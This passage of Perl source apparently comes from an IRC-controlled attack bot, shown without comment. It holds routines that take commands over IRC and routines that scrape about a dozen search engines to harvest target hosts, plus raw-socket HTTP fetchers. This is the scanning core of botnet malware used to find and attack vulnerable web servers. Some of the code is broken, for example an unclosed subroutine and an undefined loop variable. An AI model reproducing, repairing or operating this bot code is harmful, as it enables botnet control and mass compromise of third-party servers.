<PRE>      sendraw("PRIVMSG $_[0] :$_[1]");                                             </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub notice {                                                                    </PRE>
<PRE>      return unless $#_ == 1;                                                      </PRE>
<PRE>      sendraw("NOTICE $_[0] :$_[1]");                                              </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub op {                                                                        </PRE>
<PRE>      return unless $#_ == 1;                                                      </PRE>
<PRE>      sendraw("MODE $_[0] +o $_[1]");                                              </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub deop {                                                                      </PRE>
<PRE>      return unless $#_ == 1;                                                      </PRE>
<PRE>      sendraw("MODE $_[0] -o $_[1]");                                              </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub j {                                                                         </PRE>
<PRE>      &join(@_);                                                                   </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub join {                                                                      </PRE>
<PRE>      return unless $#_ == 0;                                                      </PRE>
<PRE>      sendraw("JOIN $_[0]");                                                       </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub p {                                                                         </PRE>
<PRE>      part(@_);                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub part {                                                                      </PRE>
<PRE>      sendraw("PART $_[0]");                                                       </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub nick {                                                                      </PRE>
<PRE>      return unless $#_ == 0;                                                      </PRE>
<PRE>      sendraw("NICK $_[0]");                                                       </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub quit {                                                                      </PRE>
<PRE>      sendraw("QUIT :$_[0]");                                                      </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub fetch(){                                                                    </PRE>
<PRE>      my $rnd=(int(rand(9999)));                                                   </PRE>
<PRE>      my $n= 80;                                                                   </PRE>
<PRE>      if ($rnd<5000) {                                                             </PRE>
<PRE>         $n<<=1;                                                                   </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      my $s= (int(rand(10)) * $n);                                                 </PRE>
<PRE>      my @dominios = ("removed-them-all");                                         </PRE>
<PRE>      my @str;                                                                     </PRE>
<PRE>      foreach $dom  (@dominios){                                                   </PRE>
<PRE>         push (@str,"@gstring");                                                   </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      my $query="www.google.com/search?q=";                                        </PRE>
<PRE>      $query.=$str[(rand(scalar(@str)))];                                          </PRE>
<PRE>      $query.="&num=$n&start=$s";                                                  </PRE>
<PRE>      my @lst=();                                                                  </PRE>
<PRE>      sendraw("privmsg #debug :DEBUG only test googling: ".$query."");             </PRE>
<PRE>      my $page = http_query($query);                                               </PRE>
<PRE>      while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){             </PRE>
<PRE>         if ($1 !~ m/google|cache|translate/){                                     </PRE>
<PRE>            push (@lst,$1);                                                        </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      return (@lst);                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub yahoo(){                                                                    </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=1;$b<=1000;$b+=100){                                                     </PRE>
<PRE>   my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);</PRE>
<PRE>   my $Res=query($Ya);                                                             </PRE>
<PRE>   while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){                         </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   $k=~s/<b>//g;                                                                   </PRE>
<PRE>   $k=~s/<\/b>//g;                                                                 </PRE>
<PRE>   $k=~s/<wbr>//g;                                                                 </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub msn(){                                                                      </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=1;$b<=1000;$b+=10){                                                      </PRE>
<PRE>   my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");</PRE>
<PRE>   my $Res=query($msn);                                                            </PRE>
<PRE>   while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){                             </PRE>
<PRE>   if($1 !~ /msn|live/){                                                           </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub lycos(){                                                                    </PRE>
<PRE>   my $inizio=0;                                                                   </PRE>
<PRE>   my $pagine=20;                                                                  </PRE>
<PRE>   my $key=$_[0];                                                                  </PRE>
<PRE>   my $av=0;                                                                       </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   while($inizio <= $pagine){                                                      </PRE>
<PRE>   my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";              </PRE>
<PRE>   my $Res=query($lycos);                                                          </PRE>
<PRE>   while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){            </PRE>
<PRE>   my $k="$1";                                                                     </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   $inizio++;                                                                      </PRE>
<PRE>   $av++;                                                                          </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub aol(){                                                                      </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=1;$b<=100;$b++){                                                         </PRE>
<PRE>   my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");</PRE>
<PRE>   my $Res=query($AoL);                                                            </PRE>
<PRE>   while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){</PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub ask(){                                                                      </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key=$_[0];                                                                  </PRE>
<PRE>   my $i=0;                                                                        </PRE>
<PRE>   my $pg=0;                                                                       </PRE>
<PRE>   for($i=0; $i<=1000; $i+=10)                                                     </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");</PRE>
<PRE>   my $Res=query($Ask);                                                            </PRE>
<PRE>   while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){      </PRE>
<PRE>   my $k=$3;                                                                       </PRE>
<PRE>   $k=~s/[\"\ ]//g;                                                                </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub alltheweb()                                                                 </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key=$_[0];                                                                  </PRE>
<PRE>   my $i=0;                                                                        </PRE>
<PRE>   my $pg=0;                                                                       </PRE>
<PRE>   for($i=0; $i<=1000; $i+=100)                                                    </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);</PRE>
<PRE>   my $Res=query($all);                                                            </PRE>
<PRE>   while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){            </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   $k=~s/ //g;                                                                     </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub google(){                                                                   </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=0;$b<=100;$b+=100){                                                      </PRE>
<PRE>   my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);</PRE>
<PRE>   my $Res=query($Go);                                                             </PRE>
<PRE>   while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){                             </PRE>
<PRE>   if ($1 !~ /google/){                                                            </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   # SUBS SEARCH                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub search(){                                                                   </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=0;$b<=1000;$b+=100){                                                     </PRE>
<PRE>   my $ser=("http://www.search.com/search?q=".key($key)."".$b);                    </PRE>
<PRE>   my $Res=query($ser);                                                            </PRE>
<PRE>   while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){                             </PRE>
<PRE>   if ($1 !~ /msn|live|google|yahoo/){                                             </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   # SUBS FireBall                                                                 </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub fireball(){                                                                 </PRE>
<PRE>   my $key=$_[0];                                                                  </PRE>
<PRE>   my $inicio=1;                                                                   </PRE>
<PRE>   my $pagina=200;                                                                 </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $av=0;                                                                       </PRE>
<PRE>   while($inicio <= $pagina){                                                      </PRE>
<PRE>   my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";</PRE>
<PRE>   my $Res=query($fireball);                                                       </PRE>
<PRE>   while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){                                </PRE>
<PRE>   if ($1 !~ /msn|live|google|yahoo/){                                             </PRE>
<PRE>   my $k="$1/";                                                                    </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   $av=$av+10;                                                                     </PRE>
<PRE>   $inicio++;                                                                      </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   # SUBS UOL                                                                      </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub uol(){                                                                      </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=1;$b<=1000;$b+=10){                                                      </PRE>
<PRE>   my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);   </PRE>
<PRE>   my $Res=query($UoL);                                                            </PRE>
<PRE>   while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){                                </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   if($k!~/busca|uol|yahoo/){                                                      </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   # Altavista                                                                     </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub altavista(){                                                                </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=1;$b<=1000;$b+=10){                                                      </PRE>
<PRE>   my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);</PRE>
<PRE>   my $Res=query($AlT);                                                            </PRE>
<PRE>   while($Res=~m/<span class=ngrn>(.+?)\//g){                                      </PRE>
<PRE>   if($1 !~ /altavista/){                                                          </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   $k=~s/<//g;                                                                     </PRE>
<PRE>   $k=~s/ //g;                                                                     </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub altavistade(){                                                              </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=1;$b<=1000;$b+=10){                                                      </PRE>
<PRE>   my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);</PRE>
<PRE>   my $Res=query($AlT);                                                            </PRE>
<PRE>   while($Res=~m/<span class=ngrn>(.+?)\//g){                                      </PRE>
<PRE>   if($1 !~ /altavista/){                                                          </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   $k=~s/<//g;                                                                     </PRE>
<PRE>   $k=~s/ //g;                                                                     </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub altavistaus(){                                                              </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=1;$b<=1000;$b+=10){                                                      </PRE>
<PRE>   my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);</PRE>
<PRE>   my $Res=query($AlT);                                                            </PRE>
<PRE>   while($Res=~m/<span class=ngrn>(.+?)\//g){                                      </PRE>
<PRE>   if($1 !~ /altavista/){                                                          </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   $k=~s/<//g;                                                                     </PRE>
<PRE>   $k=~s/ //g;                                                                     </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   # HotBot                                                                        </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub hotbot(){                                                                   </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=0;$b<=1000;$b+=100){                                                     </PRE>
<PRE>   my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);</PRE>
<PRE>   my $Res=query($hot);                                                            </PRE>
<PRE>   while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){                             </PRE>
<PRE>   if ($1 !~ /msn|live|google|yahoo/){                                             </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   # Mamma                                                                         </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub mamma(){                                                                    </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key = $_[0];                                                                </PRE>
<PRE>   for($b=0;$b<=1000;$b+=100){                                                     </PRE>
<PRE>   my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);</PRE>
<PRE>   my $Res=query($mam);                                                            </PRE>
<PRE>   while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){                             </PRE>
<PRE>   if ($1 !~ /msn|live|google|yahoo/){                                             </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   # MozBot                                                                        </PRE>
<PRE>   #####                                                                           </PRE>
<PRE>   sub mozbot()                                                                    </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   my @lst;                                                                        </PRE>
<PRE>   my $key=$_[0];                                                                  </PRE>
<PRE>   my $i=0;                                                                        </PRE>
<PRE>   my $pg=0;                                                                       </PRE>
<PRE>   for($i=0; $i<=100; $i+=1){                                                      </PRE>
<PRE>   my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);     </PRE>
<PRE>   my $Res=query($mozbot);                                                         </PRE>
<PRE>   while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){                          </PRE>
<PRE>   my $k=$1;                                                                       </PRE>
<PRE>   $k=~s/ //g;                                                                     </PRE>
<PRE>   my @grep=links($k);                                                             </PRE>
<PRE>   push(@lst,@grep);                                                               </PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   return @lst;                                                                    </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub links()                                                                     </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   my @l;                                                                          </PRE>
<PRE>   my $link=$_[0];                                                                 </PRE>
<PRE>   my $host=$_[0];                                                                 </PRE>
<PRE>   my $hdir=$_[0];                                                                 </PRE>
<PRE>   $hdir=~s/(.*)\/[^\/]*$/\1/;                                                     </PRE>
<PRE>   $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;                                             </PRE>
<PRE>   $host.="/";                                                                     </PRE>
<PRE>   $link.="/";                                                                     </PRE>
<PRE>   $hdir.="/";                                                                     </PRE>
<PRE>   $host=~s/\/\//\//g;                                                             </PRE>
<PRE>   $hdir=~s/\/\//\//g;                                                             </PRE>
<PRE>   $link=~s/\/\//\//g;                                                             </PRE>
<PRE>   push(@l,$link,$host,$hdir);                                                     </PRE>
<PRE>   return @l;                                                                      </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub geths(){                                                                    </PRE>
<PRE>   my $host=$_[0];                                                                 </PRE>
<PRE>   $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;                                             </PRE>
<PRE>   return $host;                                                                   </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub key(){                                                                      </PRE>
<PRE>   my $chiave=$_[0];                                                               </PRE>
<PRE>   $chiave =~ s/ /\+/g;                                                            </PRE>
<PRE>   $chiave =~ s/:/\%3A/g;                                                          </PRE>
<PRE>   $chiave =~ s/\//\%2F/g;                                                         </PRE>
<PRE>   $chiave =~ s/&/\%26/g;                                                          </PRE>
<PRE>   $chiave =~ s/\"/\%22/g;                                                         </PRE>
<PRE>   $chiave =~ s/,/\%2C/g;                                                          </PRE>
<PRE>   $chiave =~ s/\\/\%5C/g;                                                         </PRE>
<PRE>   return $chiave;                                                                 </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub query($){                                                                   </PRE>
<PRE>   my $url=$_[0];                                                                  </PRE>
<PRE>   $url=~s/http:\/\///;                                                            </PRE>
<PRE>   my $host=$url;                                                                  </PRE>
<PRE>   my $query=$url;                                                                 </PRE>
<PRE>   my $page="";                                                                    </PRE>
<PRE>   $host=~s/href=\"?http:\/\///;                                                   </PRE>
<PRE>   $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;                                             </PRE>
<PRE>   $query=~s/$host//;                                                              </PRE>
<PRE>   if ($query eq "") {$query="/";};                                                </PRE>
<PRE>   eval {                                                                          </PRE>
<PRE>   my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;</PRE>
<PRE>   print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";</PRE>
<PRE>   my @r = <$sock>;                                                                </PRE>
<PRE>   $page="@r";                                                                     </PRE>
<PRE>   close($sock);                                                                   </PRE>
<PRE>   };                                                                              </PRE>
<PRE>   return $page;                                                                   </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub unici{                                                                      </PRE>
<PRE>   my @unici = ();                                                                 </PRE>
<PRE>   my %visti = ();                                                                 </PRE>
<PRE>   foreach my $elemento ( @_ )                                                     </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   next if $visti{ $elemento }++;                                                  </PRE>
<PRE>   push @unici, $elemento;                                                         </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   return @unici;                                                                  </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub http_query($){                                                              </PRE>
<PRE>   my ($url) = @_;                                                                 </PRE>
<PRE>   my $host=$url;                                                                  </PRE>
<PRE>   my $query=$url;                                                                 </PRE>
<PRE>   my $page="";                                                                    </PRE>
<PRE>   $host =~ s/href=\"?http:\/\///;                                                 </PRE>
<PRE>   $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;                                           </PRE>
<PRE>   $query =~s/$host//;                                                             </PRE>
<PRE>   if ($query eq "") {$query="/";};                                                </PRE>
<PRE>   eval {                                                                          </PRE>
<PRE>   local $SIG{ALRM} = sub { die "1";};                                             </PRE>
<PRE>   alarm 10;                                                                       </PRE>
<PRE>   my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;</PRE>
<PRE>   print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";</PRE>
<PRE>   my @r = <$sock>;                                                                </PRE>
<PRE>   $page="@r";                                                                     </PRE>
<PRE>   alarm 0;                                                                        </PRE>
<PRE>   close($sock);                                                                   </PRE>
<PRE>   };                                                                              </PRE>
<PRE>   return $page;                                                                   </PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   --xYzZY--                                                                       </PRE>